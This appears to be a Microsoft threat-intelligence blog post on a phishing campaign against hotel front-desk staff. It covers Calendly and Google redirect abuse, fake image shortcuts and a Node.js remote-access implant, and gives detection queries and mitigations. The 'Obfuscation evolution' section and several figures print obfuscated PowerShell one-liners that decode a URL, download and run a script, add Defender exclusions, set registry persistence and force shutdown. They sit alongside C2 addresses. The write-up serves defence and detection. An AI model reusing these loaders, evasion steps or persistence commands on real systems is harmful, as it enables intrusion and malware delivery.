This blog summarizes the campaign’s Wave 1 and Wave 2 attack chains and provides Microsoft Defender detections and recommendations. It’s intended to share threat intelligence to help organizations better understand, identify, and defend against similar attack techniques. The activity described reflects observed patterns and behaviors and is provided to support defensive security efforts. 

Attack chain overview Figure 1. Assessed attack chain for the Node.js photo ZIP/LNK campaign showing both Wave 1 and Wave 2 stages.

The campaign follows a multi-stage attack chain with limited variation in overall behavior, even as the actor changed its PowerShell obfuscation and delivery refinements between waves.  

Initial access and user execution 

The campaign begins with delivery of a browser-downloaded archive with a file name that uses the pattern photo-<random numbers>.zip. In one observed activity, links to these archives were delivered through phishing emails. We assess that this file naming convention was designed to appear ordinary yet relevant to hospitality workflows, which commonly exchange guest photos, reservation-related images, or document snapshots. 

In Wave 1, the archive contained a fake image shortcut named IMG-<random numbers>.png.lnk, which masqueraded as a PNG file while remaining executable content. In Wave 2, the threat actor introduced a naming shift to PHOTO-<random numbers>.png.lnk (uppercase PHOTO prefix). Successful execution depended on a target user opening what appeared to be an image. 

The following table lists representative delivery artifacts observed across impacted environments in both campaign waves. The file sizes of the LNK files consistently fell within 1,989 to 2,079 bytes, suggesting the same builder tool. 

LNK file Source archive Wave IMG-805916584.png.lnk C:\Users\[REDACTED]\Downloads\photo-961032103.zip 1 IMG-421741673.png.lnk C:\Users\[REDACTED]\Downloads\photo-818773648.zip 1 IMG-223099041.png.lnk C:\Users\[REDACTED]\Downloads\photo-716449357.zip 1 IMG-386443483.png.lnk Browser download 1 PHOTO-215746435.png.lnk Browser download 2 

Observed LNK and ZIP naming patterns across both campaigns. 

Observed victim device naming patterns, including reception- and front office-associated systems and hotel-named devices, confirm the threat actor’s focus on staff likely to interact with image or document attachments as part of day-to-day operations. Some of the user account names observed across impacted environments include the following strings, which refer to words in different languages such as English, French, Polish, Czech, and Spanish:  

• reception 

• frontdesk 

• reservations 

• accueil  

• recepcja 

• recepce 

• frontoffice  

Phishing infrastructure: Authentication laundering through legitimate services 

Beginning late May 2026, we observed that this campaign’s initial access mechanism also abuses legitimate web services to bypass email authentication controls and obscure the true destination of phishing links. This observation aligns with the previously published findings by other security researchers. 

The threat actor uses Calendly’s email notification system and Google’s URL redirect functionality to construct a multi-hop delivery chain in which the direct Calendly path passes Sender Policy Framework (SPF), DomainKeys Identified Mail (DKIM), and Domain-based Message Authentication, Reporting, and Conformance (DMARC) checks. 

Figure 2. Phishing redirect flow. Lure themes and language targeting 

The sender display name across all observed emails is “Booking Manager (via Calendly),” a social engineering choice that appears designed to exploit hospitality staff’s familiarity with booking and scheduling workflows. 

Across the relayed messages, Microsoft observed the following small set of recurring social-engineering themes delivered in Japanese, Danish, and Dutch:  

• Guest complaints 

• Bedbug (Cimex) infestation reports 

• Verification call notices 

• Room condition inquiries 

• Stay review requests 

These lures are deliberately generic and non-personalized: every subject references an anonymous “guest,” “facility,” or “your accommodation,” and none contains a recipient name, guest name, or organization name. This is consistent with high-volume, list-driven distribution rather than tailored spear-phishing. The threat actor relies on urgency and reputational pressure (complaints, “final warning,” health-authority inspection, possible suspension) to drive target hospitality staff to click. 

Language Canonical lure (theme) Japanese Serious guest complaint Japanese Bedbug complaint, verification call Japanese Guest stay review request  Japanese Room condition, facility inquiry Japanese Final warning: infestation, forced inspection Danish Bedbug complaint, inspection call Danish Formal complaint, notice of suspension Danish Health-risk safety alert Dutch Complaint: possible danger, hospitalization after stay 

Phishing lure themes by language, listed by observed prevalence. 

The threat actor reuses the same themes across all three languages, with Japanese as the most prevalent. Notably, unfilled template placeholders—such as a literal ID token in the Danish variant—appeared in some subjects, indicating automated, templated generation. 

Use of Calendly notification infrastructure as a phishing relay 

The threat actor uses a threat actor-controlled Calendly account associated with the subdomain em1618.calendly.com to relay phishing emails to hospitality targets. Authentication results differ by delivery path. 

Authentication Check Result Why SPF Pass Email sent from authorized service DKIM Pass Signed by Calendly’s SendGrid sending infrastructure  DMARC Pass Alignment on calendly.com domain Composite authentication (CompAuth) Pass All checks align 

Authentication results for emails sent through the direct Calendly path. The checks pass because the messages are sent through authorized Calendly-associated sending infrastructure; this does not validate the intent or safety of the message content. 

This technique, which we describe as authentication laundering in this context, exploits the trust model of email authentication. SPF, DKIM, and DMARC verify that an email was sent from authorized infrastructure for a given domain. When the sending domain is a legitimate service and the threat actor controls the message content, these checks confirm the sender is authorized while saying nothing about the intent of the message. 

Multi-hop redirect chain 

Each phishing email contains a Calendly redirect URL that initiates a multi-hop chain intended to obscure the final destination from users and automated URL analysis. The embedded Calendly link routes victims through a four-hop chain before reaching the payload: 

• Step 1: calendly[.]com/url?q=hxxps://share[.]google/TOKEN → HTTP 302 

• Step 2: share[.]google/TOKEN → HTTP 302 

• Step 3: www.google[.]com/share_google?q=TOKEN → HTTP 301 

• Step 4: photo-*[.]cfd → Phishing landing page (Cloudflare challenge gate) 

Calendly’s Link Safety Service interstitial (url?q=) was used as the first hop and Google’s share[.]google redirect as the second. The final .cfd landing pages were freshly registered (for example, photo-26654[.]cfd was 17 days old at the time of analysis), Cloudflare-fronted, and gated behind a Cloudflare Turnstile (“verify you are human”) challenge that doubles as an anti-analysis and geo-gating mechanism before serving the photo-themed ZIP. 

Microsoft assesses that this redirect architecture serves multiple evasion purposes: 

• Fragmentation of URL reputation: No single URL in the chain is inherently malicious at the time of delivery 

• Abuse of Google’s open redirect: The share.google → NULLwww.google.com/share_google redirect leverages Google infrastructure, adding trusted reputation to the chain 

The threat actor maintains a second delivery variant that bypasses the share.google intermediate step, linking directly from a Calendly redirect URL to the phishing domain (calendly[.]com/url?q=photo-*[.]cfd). Microsoft observed that both variants are active simultaneously, with the same Calendly user UUIDs appearing across both paths. This supports the assessment that a single operator is managing the parallel delivery mechanisms. 

PowerShell-based first stage 

Once the malicious shortcut is opened, the next-stage payload invokes PowerShell and launches an obfuscated BigInt decoder. Across the campaign, the PowerShell stage consistently decodes data and then downloads an additional .ps1 file. Microsoft observed a repeating pattern of BigInt decoder →  Invoke-WebRequest → .ps1. The full obfuscation evolution across seven phases is detailed in the Obfuscation evolution section of this blog. 

The decoded URL points to the campaign’s download domains. In the validated chain, the .ps1 file is retrieved from the photo-*.cfd landing domain 

.NET DLL compilation (Wave 2) 

In Wave 2, we observed a new intermediate stage between the PowerShell download and Node.js deployment. The downloaded .ps1 script triggers dynamic .NET compilation through csc.exe (the C# compiler), which in turn invokes cvtres.exe (the resource-to-object converter). This sequence produces small DLL files with random names.  

Representative observed artifacts: 

Artifact Details PowerShell script qFWe908J.ps1 ( Size 419 KB) Compiled DLL bjygtujc.dll Size 3,072 bytes) 

csc.exe → cvtres.exe → <random>.dll (3,072 bytes) 

Figure 2. Wave 2 .NET DLL compilation chain. The compiled DLL was created but wasn’t observed being loaded through rundll32 or regsvr32 in available telemetry. This stage might be preparatory or conditional. 

Microsoft assesses that this stage wasn’t present in Wave 1 and represents an expansion in the attack chain. 

Script staging and Node.js implant deployment 

After decoding and retrieval, the downloaded PowerShell script runs from the %TEMP% folder. This staging step appears to be transitional rather than final, enabling subsequent download or launch of the campaign’s Node.js component.  

We observed the next step as execution of node.exe from a user-space path. The Node runtime version observed across both waves is node-v24.13.0-win-x64 (SHA-256: d14ba95cdce1ef7dc9ad3ac74949ca5db38b27378ee30f30a23cf26f9e875a11, 89.9 MB – downloaded from the legitimate nodejs[.]org site).  

Figure 3 shows representative observed command lines: 

"node.exe" C:\Users\[REDACTED]\AppData\Local\Nodejs\E2HPVoYGA77RECeb.js safedocphoto[.]info "node.exe" C:\Users\[REDACTED]\AppData\Local\Nodejs\jVXvdhxNfcqHuSf.js recallnine[.]info "node.exe" C:\Users\[REDACTED]\AppData\Local\Nodejs\c4yCFRzE.js kentjerk[.]info "node.exe" C:\Users\[REDACTED]\AppData\Local\Nodejs\FfXznFDs8.js photodoc-secure[.]info "node.exe" C:\Users\[REDACTED]\AppData\Local\Nodejs\f76qtHrP.js kelopins[.]info

Figure 3. Node.js implant execution with random JavaScript filenames and C2 domain arguments. 

The Node.js runtime functions as the interpreter for the implant’s .js payloads. Microsoft assesses that placing the runtime in a user-writable location could help the threat actor avoid dependencies on a system-installed Node.js binary while also supporting repeated payload reuse across different filenames. Hash reuse across distinct filenames confirms reuse of the same binaries, reinforcing the assessment that the threat actor prioritizes operational repeatability. 

The Node.js implant also establishes its own persistence by spawning PowerShell to create a detached, hidden child process: 

powershell.exe -c "$code = \"require('child_process').spawn(process.execPath, ['C:\\Users\\[REDACTED]\\AppData\\Local\\Nodejs\\.js'], {detached: true, stdio: 'ignore', windowsHide: true}).unref()\"; $command = ...

Figure 4. Node.js persistence mechanism using child_process.spawn with detached and windowsHide flags. 

Defense evasion and payload execution 

Once the Node.js component is established, the campaign modifies Defender settings by using Add-MpPreference -ExclusionProcess for temporary-path executables. We assess that this exclusion step is intended to reduce inspection of follow-on binaries located in AppData\Local\Temp. Figure 5 shows representative observed exclusion commands: 

powershell.exe -c "Add-MpPreference -ExclusionProcess \"C:\Users\[REDACTED]\AppData\Local\Temp\utramdJQjRMJ.exe\"" powershell.exe -c "Add-MpPreference -ExclusionProcess \"C:\Users\[REDACTED]\AppData\Local\Temp\YEg9nfBg3QG4.exe\"" powershell.exe -c "Add-MpPreference -ExclusionProcess \"C:\Users\[REDACTED]\AppData\Local\Temp\57AVjhcz6vL0c.exe\"" powershell.exe -c "Add-MpPreference -ExclusionProcess \"C:\Users\[REDACTED]\AppData\Local\Temp\sDNud94J7WVDN.exe\""

Figure 5. Defender process exclusions added for randomly named EXE files seconds before their execution. 

These excluded random EXE files in AppData\Local\Temp are then launched, followed by helper .tmp installers or unpackers that used names matching is-*.tmp and commonly ran with /SL5 or /VERYSILENT. This combination suggests a deployment chain in which the Node.js implant stages additional binaries, then launches installer-like helpers to unpack or execute the next payload. Microsoft assesses that the .tmp convention and silent-install flags are likely chosen to minimize user awareness while also obscuring the actual payload family. 

ProgramData relocation and persistence 

Observed payloads are then copied into C:\ProgramData\<random>\<payload>.exe. Lowercase copies with the same hash appear under different filenames, which is consistent with repackaging or relocation for stability rather than recompilation. Figure 6 shows representative observed ProgramData paths from the campaign: 

C:\ProgramData\FFXjwKn\fehqf5oo.exe C:\ProgramData\PEIEZlD\qulcp452eb9.exe C:\ProgramData\YXbwfua\e6kz1ruadskkk.exe C:\ProgramData\PsrOqKF\vl8daccehg.exe C:\ProgramData\riloNEK\s8bpfaee.exe C:\ProgramData\JMSVrLU\choffgpa.exe

Figure 6. ProgramData relocation paths with randomized folder names and lowercase payload filenames. 

The persistence model used in this campaign is especially notable. We observed a dual mechanism in which HKCU\RunOnce pointed to the ProgramData executable while HKCU\Run pointed to the Node.js component. Figure 7 shows a representative registry persistence command: 

cmd /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "zZBPZPuA" /t REG_SZ /d "C:\ProgramData\FFXjwKn\fehqf5oo.exe" /f

Figure 7. Registry RunOnce persistence pointing to ProgramData payload with randomized value name. 

The RunOnce behavior is particularly unusual because the payload refreshes its own persistence after each execution, effectively creating a RunOnce loop. Microsoft assesses that this design might have been intended to complicate cleanup by repopulating an entry that defenders might otherwise treat as one-time execution. 

Command and control 

In later stages of the campaign, compromised systems beacons to fixed IP infrastructure over non-standard ports including: 

• 8443 

• 8445 

• 8453 

• 5555 

• 56001 

• 56002 

• 56003  

We observed the campaign expanding its C2 infrastructure between waves: 

Wave 1 IPs: 

• 178.16.54[.]27 

• 95.217.97[.]121 

• 193.202.84[.]32 

• 178.16.55[.]179 

The IP address 178.16.54[.]27 remains active on ports 56001/56002 across both waves. 

We also observed numerous unique domains themed around photos, documents, visas, safes, and vaults, spanning top-level domains (TLDs) such as the following: 

• .info 

• .com 

• .pro 

• .xyz 

• .cloud 

• .icu 

• .sbs 

• .click 

• .bond 

• .cfd (Wave 2) 

Wave 2 introduced Cloudflare-hosted .cfd domains following a photo-<random numbers> naming convention: 

• photo-26254[.]cfd 

• photo-26654[.]cfd 

• photo-132454[.]cfd 

• photo-8632454[.]cfd 

The domain sec-safe-dc[.]info was observed active in both waves, further supporting the assessment of a single continuous campaign. 

Obfuscation evolution 

A defining characteristic of this campaign is its steady but disciplined obfuscation evolution. Microsoft observed seven PowerShell obfuscation phases over the course of the campaign, but the underlying logic remained consistent: decode embedded data through arithmetic operations, recover the next-stage content, and retrieve a PowerShell script that runs from the %TEMP% folder. This pattern suggests that the threat actor is iterating for durability against static detections rather than experimenting with entirely new tradecraft. 

Figure 8. PowerShell obfuscation evolution across six observed phases (April–May 2026).

Phase 1: XOR bigint decoding

Early samples rely on XOR arithmetic, using two large integers and a -bxor operation, followed by byte masking and shifting. The following is a representative observed command line: 

powershell.exe -ep bypass -c "$k=[bigint]\"2004985473718821432817707887657617\"; $w=[bigint]\"278573358569528286847653191217377\";$o=$k -bxor $w; while($o -ne 0){$g+=[char]([int]($o -band 0xFF));$o=$o -shr 8}; iwr $g -OutFile $env:TEMP\eRJGv.ps1 -UseBasicParsing; powershell -ep bypass -File $env:TEMP\eRJGv.ps1"

Figure 9. Phase 1 PowerShell downloader using XOR-based bigint decoding with -bxor, -band 0xFF, and -shr 8. 

Phase 2: Subtraction replaces XOR

Microsoft then observed the threat actor swapping XOR logic for subtraction while keeping the rest of the decoder identical. This change bypasses detections anchored on -bxor: 

powershell.exe -ep bypass -c "$i=[bigint]\"1568015162836542885394310232785365293\"; $y=[bigint]\"989592658109712364469795296253690811\";$r=$i - $y; while($r -ne 0){$m+=[char]([int]($r -band 0xFF));$r=$r -shr 8}; iwr $m -OutFile $env:TEMP\VJksAkfp.ps1 -UseBasicParsing; powershell -ep bypass -File $env:TEMP\VJksAkfp.ps1"

Figure 10. Phase 2 variant replacing -bxor with subtraction while preserving the same decoding structure. 

Phase 3: Hexadecimal to decimal substitution

The decoder then shifts from -band 0xFF to -band 255. Although functionally equivalent (0xFF = 255), this change is consistent with a threat actor testing whether surface-level constant changes could degrade signature reliability: 

powershell.exe -ep bypass -c "$e=[bigint]\"1080978693158786688289132234139422058835788841232\"; $l=[bigint]\"444996423444240363171355535687083720697400778653\";$w=$e - $l; while($w -ne 0){$j+=[char]([int]($w -band 255));$w=$w -shr 8}; iwr $j -OutFile $env:TEMP\ymqMj.ps1 -UseBasicParsing; powershell -ep bypass -File $env:TEMP\ymqMj.ps1"

Figure 11. Phase 3 variant replacing 0xFF with decimal 255. 

Phase 4: Arithmetic masking

Masking expressions are further transformed into arithmetic forms that evaluate to the same constant. This variation prevents simple string matching on either 0xFF or 255: 

powershell.exe -ep bypass -c "$e=[bigint]\"988466760738254167909712279829942477\"; $y=[bigint]\"352542850680807474382013127968401501\";$i=$e - $y; while($i -ne 0){$b+=[char]([int]($i -band (177+78)));$i=$i -shr 8}; iwr $b -OutFile $env:TEMP\23QbL.ps1 -UseBasicParsing; powershell -ep bypass -File $env:TEMP\23QbL.ps1"

Figure 12. Phase 4 variant hiding the byte mask behind arithmetic expressions such as (177+78). 

Other observed arithmetic masks included -band (100+155) and -band 128+127, all resolving to 255. 

Phase 5: Modulo and division

Later samples replace the bit-shift model entirely, switching from -band and -shr to modulo and division operations: 

powershell.exe -ep bypass -c "$s=[bigint]\"28248557062916408148263140002288993200489702\"; $o=[bigint]\"18544237761852163685406436002210545666450291\";$e=$s - $o; while($e -ne 0){$x+=[char]([int]($e -band (255)));$e=$e -shr 8}; iwr $x -OutFile $env:TEMP\PVtvOP40.ps1 -UseBasicParsing; powershell -ep bypass -File $env:TEMP\PVtvOP40.ps1"

Figure 13. Phase 5 transitional variant; later samples in this phase fully replaced -band/-shr with % 256 and / 256. 

Phase 6: Syntax diversification and randomization

The threat actor adopts “num” -as [bigint] casting syntax, introduces long random variable names, and uses modulo/division for byte extraction. The combined effect makes each sample visually distinct despite identical logic: 

powershell.exe -ep bypass -c "$zGjEc0LINYdefj=\"25908558764390958596189327204542\" -as [bigint]; $MyL4evU3=256; $GqA4xFav=\"17082531775760189576112827972435\" -as [bigint]; $XwcU0kg87CFgqe5=$zGjEc0LINYdefj - $GqA4xFav; while($XwcU0kg87CFgqe5 -ne 0){ $qy8gWy4FONBaCV+=[char]([int]($XwcU0kg87CFgqe5 % $MyL4evU3)); $XwcU0kg87CFgqe5=$XwcU0kg87CFgqe5 / $MyL4evU3}; iwr $qy8gWy4FONBaCV -OutFile $env:TEMP\.ps1 -UseBasicParsing; powershell -ep bypass -File $env:TEMP\.ps1"

Figure 14. Phase 6 variant using -as [bigint] syntax, long randomized variable names, and modulo/division decoding. 

Phase 7: For-loop variant with arithmetic mask (Wave 2)

The most recent observed phase introduces a for-loop iteration model with an arithmetic mask using a variable set to 100+156 (=256) and -as [bigint] casting. This is a natural evolution of Phase 6’s syntax diversification, further altering the control flow structure while preserving the same underlying decode-and-download behavior: 

powershell.exe -ep bypass -c "$IcZWdT=100+156; $=\"\" -as [bigint]; $=\"\" -as [bigint]; $=$ - $; for($i=0; $ -ne 0; $i++){ $+=[char]([int]($ % $IcZWdT)); $=[bigint]($ / $IcZWdT)}; iwr $ -OutFile $env:TEMP\.ps1 -UseBasicParsing; powershell -ep bypass -File $env:TEMP\.ps1"

Figure 15. Phase 7 variant (Wave 2) introducing a for-loop with arithmetic mask $IcZWdT=100+156 and -as [bigint] casting. 

This seven-phase evolution demonstrates a threat actor that monitors or anticipates detection pressure. The campaign doesn’t pivot away from PowerShell or Node.js; instead, it repeatedly re-skins a working loader. For defenders, this means purely literal detections on isolated operators, constants, or variable names might age quickly, while behavior-based detections anchored on the full sequence—shortcut execution, PowerShell decode, %TEMP% staging, Node.js from user space, Defender exclusions, and ProgramData persistence—are likely to remain more resilient. 

Campaign evolution 

Microsoft assesses that the observable differences between Wave 1 and Wave 2 represent a deliberate operational evolution by the same threat actor. The following cross-wave correlations support this assessment: 

Evidence of a single continuous campaign  Indicator Wave 1 (April to May 2026) Wave 2 (Late May to June 2026) Assessment PE payload hash (xmnrwv9l.exe) 04ec44f2618460f5c77c5e56014a512cc03a123c9c5b6b6b1273e2a1681ac2e1 Same hash observed Same payload binary C2 IP 178.16.54[.]27 Same IP, ports 56001/56002 Same infrastructure Node.js version v24.13.0-win-x64 v24.13.0-win-x64 Same runtime Domain sec-safe-dc[.]info Active in both waves Shared domain C2 ports 56001, 56002, 56003 56001, 56002 Same non-standard port pattern 

Cross-wave artifact overlaps demonstrating a single continuous campaign. 

What changed between waves  Dimension Wave 1 (April to May 2026) Wave 2 (Late May to June 2026) LNK naming IMG-<random numbers>.png.lnk PHOTO-<random numbers>.png.lnk ZIP contents LNK only LNK (PHOTO- prefix) Attack chain PowerShell → Node.js PowerShell → csc.exe/cvtres.exe → DLL → Node.js Obfuscation Phases 1–6 Phase 7 (for-loop variant) Domain TLDs .info, .com, .pro, .xyz, .cloud, .icu, .sbs Added .cfd, .click, and .bond Infrastructure Direct hosting Cloudflare-fronted .cfd domains C2 domains Photo, document, and visa themes Added zloapobikahy23[.]bond, higoksbupwou[.]com, aluminiostramuntana[.]com 

Summary of campaign evolution from Wave 1 to Wave 2. 

Microsoft assesses that these changes reflect operational maturation rather than a shift in objectives. The threat actor expanded evasion (DLL compilation, Cloudflare fronting) and broadened targeting—all while maintaining the same core attack chain and reusing key infrastructure. 

Persistence survival analysis 

One of the significant findings from Wave 2 is the demonstrated resilience of the dual persistence model under active Defender intervention. 

On a confirmed compromised device, Defender detected and blocked one PE payload (xmnrwv9l.exe, SHA-256: 04ec44f2618460f5c77c5e56014a512cc03a123c9c5b6b6b1273e2a1681ac2e1) with Wacatac detections. Despite that block, the Node.js HKCU\Run key persistence remained active. Approximately two days later, the Node.js implant reactivated and resumed C2 communications to new domains. 

Following the initial block, Microsoft observed additional /VERYSILENT EXEs deployed on the same device: 

cBA8H4S5k04jAY.exe eaa3q8BQZcnIOV.exe BaUWXagH4CGZS.exe CJE4domtVFM9LX.exe

Figure 18. Additional payload EXEs deployed after Defender blocked the initial PE, demonstrating the implant’s ability to retry delivery through the surviving Node.js persistence. 

This sequence highlights a remediation consideration: the dual persistence model (RunOnce for the PE payload + Run for Node.js) means that blocking one execution path might not fully neutralize the other. The Node.js implant, if it remains active, can re-download and re-attempt payload delivery. Microsoft assesses that complete remediation of this campaign requires removal of both persistence mechanisms—the ProgramData RunOnce entry and the Node.js Run key—along with the Node.js runtime and associated .js files from the user’s AppData\Local\Nodejs\ directory. 

Figure 16. Persistence and C2 architecture-dual registry keys, persistence survival, and post-compromise. Post-compromise activity 

Microsoft observed a subset of devices reaching clear late-stage post-compromise behavior. On multiple devices, the activity progressed to active C2 beaconing, browser automation with –headless –no-sandbox flags, and environment lookups. Based on the command-line pattern alone, Microsoft assesses that the threat actor likely used automated browser execution rather than manual interactive browsing on those hosts. 

The campaign also performed an environment lookup using ip-api[.]com, observed through 208.95.112[.]1. This behavior is consistent with gathering external network context before continuing operations. Microsoft assesses that this lookup might have helped the operator understand geographic or connectivity attributes of the compromised device environment. 

A final disruptive behavior involved forced shutdown through cmd /c shutdown -s -t 0, observed on multiple devices. Microsoft assesses that immediate shutdown could have served several purposes depending on the host context: interruption of user activity, reduction of defender response time during a specific stage, or concealment of visible symptoms after automated browser tasks or payload launches completed. 

The persistence design itself is a meaningful post-compromise observation. The combination of a durable Node.js launch point in HKCU\Run and a repeatedly refreshed ProgramData payload through HKCU\RunOnce suggests an effort to maintain execution options across user sign-ins while also preserving a secondary recovery path. This RunOnce loop is unusual enough that it might provide defenders with a strong hunting pivot even when file names, domains, or script syntax change. 

Mitigation and protection guidance

Organizations in hospitality and adjacent service industries should prioritize layered detections for this campaign’s behavior sequence rather than any single indicator. Microsoft recommends the following actions based on the observed attack chain: 

1. Treat photo-themed ZIP archives and fake image shortcuts as high risk. Investigate browser-downloaded archives matching photo-<random numbers>.zip and shortcut files matching IMG-<random numbers>.png.lnk or PHOTO-<random numbers>.png.lnk, especially when they’re followed by PowerShell or script interpreter launches. Learn more about attack surface reduction rules 

2. Harden and monitor PowerShell execution. Because the campaign repeatedly used obfuscated BigInt arithmetic across seven phases, defenders should prioritize PowerShell activity that includes unusual combinations of BigInt casting, subtraction or XOR decode logic, byte masking, modulo or division byte extraction, for-loop decode patterns, and subsequent Invoke-WebRequest behavior. Learn more about PowerShell constrained language 

3. Monitor for unexpected .NET compilation. The appearance of csc.exe spawning cvtres.exe and producing small DLLs in user-writable paths, especially when initiated by PowerShell scripts from %TEMP%, is unusual in hospitality environments and should be investigated. 

4. Investigate Node.js execution from user-space paths. node.exe running from C:\Users\<user>\AppData\Local\Nodejs\ with a random .js file and domain argument is unusual in many enterprise environments. Microsoft recommends reviewing whether Node.js is expected on reception, front office, or similarly targeted systems. 

5. Alert on Defender exclusion changes tied to temporary executables. Add-MpPreference -ExclusionProcess aligned to %TEMP% or AppData\Local\Temp should be treated as suspicious when associated with shortcut-driven or script-driven execution chains. Learn more about tamper protection .

6. Hunt for random EXE launches from temporary paths and helper .tmp installers. The campaign uses numerous unique temporary executable filenames and helper is-*.tmp files with /SL5 or /VERYSILENT. These patterns are likely more durable than individual filenames. 

7. Review persistence in both HKCU\Run and HKCU\RunOnce. Pay particular attention to values that launch node.exe from user directories or reference executables under C:\ProgramData\<random>\. Because the campaign refreshes RunOnce, repeated recreation of that value might be a strong signal. Critically, both keys must be removed during remediation—removing only the RunOnce entry leaves the Node.js implant active. 

8. Monitor network connections on the observed non-standard ports. Outbound traffic to 8443, 8445, 8453, 5555, 56001, 56002, and 56003, especially when initiated by node.exe or executables from user profile and temporary paths, should be reviewed promptly. 

9. Block or alert on .cfd domains matching the campaign pattern. Wave 2 domains follow a photo-<digits>[.]cfd naming convention. Organizations should consider blocking these patterns and monitoring for DNS queries to recently registered .cfd domains. 

10. Investigate browser automation and forced shutdown patterns. The combination of –headless –no-sandbox and cmd /c shutdown -s -t 0 might indicate late-stage execution on selected hosts. 

11. Use sector-aware hunting. Because Microsoft observed concentration in hospitality and hotel environments across multiple countries, organizations should review devices associated with front desk, reservation, reception, and guest-facing workflows first. 

Microsoft Defender XDR detections 

Microsoft assesses that Microsoft Defender coverage for this campaign is most effective when it combines process, registry, file, and network telemetry rather than relying on blocking individual indicators of compromise (IOCs). 

TonRAT is the campaign’s implant family (validated on the dropped .ps1 and .js payloads). “Wacatac” and “PureRat” are Microsoft Defender detection names that fire on specific binaries in the attack chain (the LNK or PE payload and the ProgramData persistence executable, respectively). 

Beyond signature-based prevention, Microsoft Defender can surface this campaign through behavioral detections, including alerts such as Suspicious Node.js child process execution and Node.js Hidden Run‑Key Persistence, which are designed to identify implant activity even as file names, domains, and script syntax change. 

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.  

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.  

Tactic Observed activity Microsoft Defender coverage Initial access Photo-themed ZIP with fake image LNK Microsoft Defender for Endpoint 
Trojan:Win32/Wacatac prevented Execution Obfuscated PowerShell BigInt decoder downloads a .ps1 dropper Microsoft Defender for Endpoint 
Suspicious PowerShell command line

Microsoft Defender Antivirus 
TrojanDropper:PowerShell/TonRAT Node.js runs the decrypted malicious JavaScript implant Microsoft Defender for Endpoint 
Suspicious Node.js child process execution
 
Microsoft Defender Antivirus 
Trojan:JS/TonRAT Persistence Dual Run/RunOnce registry keys (Node.js + ProgramData EXE) Microsoft Defender for Endpoint 
Anomaly detected in ASEP registry Node.js Hidden Run‑Key Persistence

Microsoft Defender Antivirus 
Trojan:Win32/PureRat  Microsoft Security Copilot 

Microsoft Security Copilot customers can use the following prebuilt promptbooks to support investigation and response for activity related to this campaign: 

• Incident investigation: Summarize incidents and triage alerts related to Node.js persistence, PowerShell decode chains, and registry modification.

• Microsoft User analysis: Profile compromised hospitality accounts (reception, frontdesk, reservations) for scope assessment.

Advanced hunting queries 

Microsoft Defender XDR 

NOTE: The following sample queries lets you search for a week’s worth of events. To explore up to 30 days’ worth of raw data to inspect events in your network and locate potential related indicators for more than a week, go to the Advanced Hunting page > Query tab, select the calendar dropdown menu to update your query to hunt for the Last 30 days.     

Fake image shortcut execution (both LNK naming patterns) 

This query identifies execution of shortcut files matching the campaign’s photo-themed LNK naming convention across both Wave 1 and Wave 2 patterns. 

DeviceProcessEvents | where FileName =~ "explorer.exe" or FileName =~ "cmd.exe" or FileName =~ "powershell.exe" | where ProcessCommandLine has ".lnk" | where ProcessCommandLine has_any ("IMG-", "PHOTO-") and ProcessCommandLine has ".png.lnk" | project Timestamp, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine | order by Timestamp desc

Node.js implant execution from user-space paths 

This query identifies Node.js execution from the campaign’s characteristic AppData\Local\Nodejs\ staging path with JavaScript payload arguments. 

DeviceProcessEvents | where FileName =~ "node.exe" | where FolderPath has @"\AppData\Local\Nodejs\" | where ProcessCommandLine has ".js" | project Timestamp, DeviceName, FolderPath, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine | order by Timestamp desc

.NET DLL compilation from PowerShell-downloaded scripts (Wave 2) 

This query detects the Wave 2 attack chain expansion where PowerShell scripts trigger dynamic .NET compilation through csc.exe.

DeviceProcessEvents | where FileName in~ ("csc.exe", "cvtres.exe") | where InitiatingProcessFileName in~ ("powershell.exe", "pwsh.exe") or InitiatingProcessFolderPath has @"\AppData\Local\Temp\" | project Timestamp, DeviceName, FileName, FolderPath, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine | order by Timestamp desc

Defender process exclusions followed by Temp execution 

This query correlates Defender exclusion modifications with subsequent executable launches from temporary paths within a 30-minute window. 

let exclusionEvents = DeviceProcessEvents | where FileName in~ ("powershell.exe", "pwsh.exe") | where ProcessCommandLine has "Add-MpPreference" and ProcessCommandLine has "-ExclusionProcess" | project DeviceId, DeviceName, ExclusionTime=Timestamp, ExclusionCmd=ProcessCommandLine; let tempExecs = DeviceProcessEvents | where FolderPath has @"\AppData\Local\Temp\" | where FileName endswith ".exe" or ProcessCommandLine has ".exe" | project DeviceId, TempExecTime=Timestamp, TempFile=FileName, TempPath=FolderPath, TempCmd=ProcessCommandLine; exclusionEvents | join kind=inner tempExecs on DeviceId | where TempExecTime between (ExclusionTime .. ExclusionTime + 30m) | project DeviceName, ExclusionTime, ExclusionCmd, TempExecTime, TempFile, TempPath, TempCmd | order by ExclusionTime desc

Installer or unpacker behavior using is-.tmp and silent flags 

This query identifies the campaign’s characteristic use of temporary installer files with silent execution flags. 

DeviceProcessEvents | where ProcessCommandLine has @"\is-" and ProcessCommandLine has ".tmp" | where ProcessCommandLine has_any ("/SL5", "/VERYSILENT") | project Timestamp, DeviceName, FileName, FolderPath, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine | order by Timestamp desc

Registry persistence to Node.js and ProgramData 

This query detects creation or modification of Run or RunOnce values pointing to the campaign’s persistence locations. 

DeviceRegistryEvents | where RegistryKey has @"\Software\Microsoft\Windows\CurrentVersion\Run" or RegistryKey has @"\Software\Microsoft\Windows\CurrentVersion\RunOnce" | where RegistryValueData has_any (@"\AppData\Local\Nodejs\", @"\ProgramData\") | project Timestamp, DeviceName, ActionType, RegistryKey, RegistryValueName, RegistryValueData, InitiatingProcessFileName, InitiatingProcessCommandLine | order by Timestamp desc

Non-standard port beaconing from Node.js or suspicious user-space binaries 

This query identifies network connections on the campaign’s observed C2 ports from suspicious process locations. 

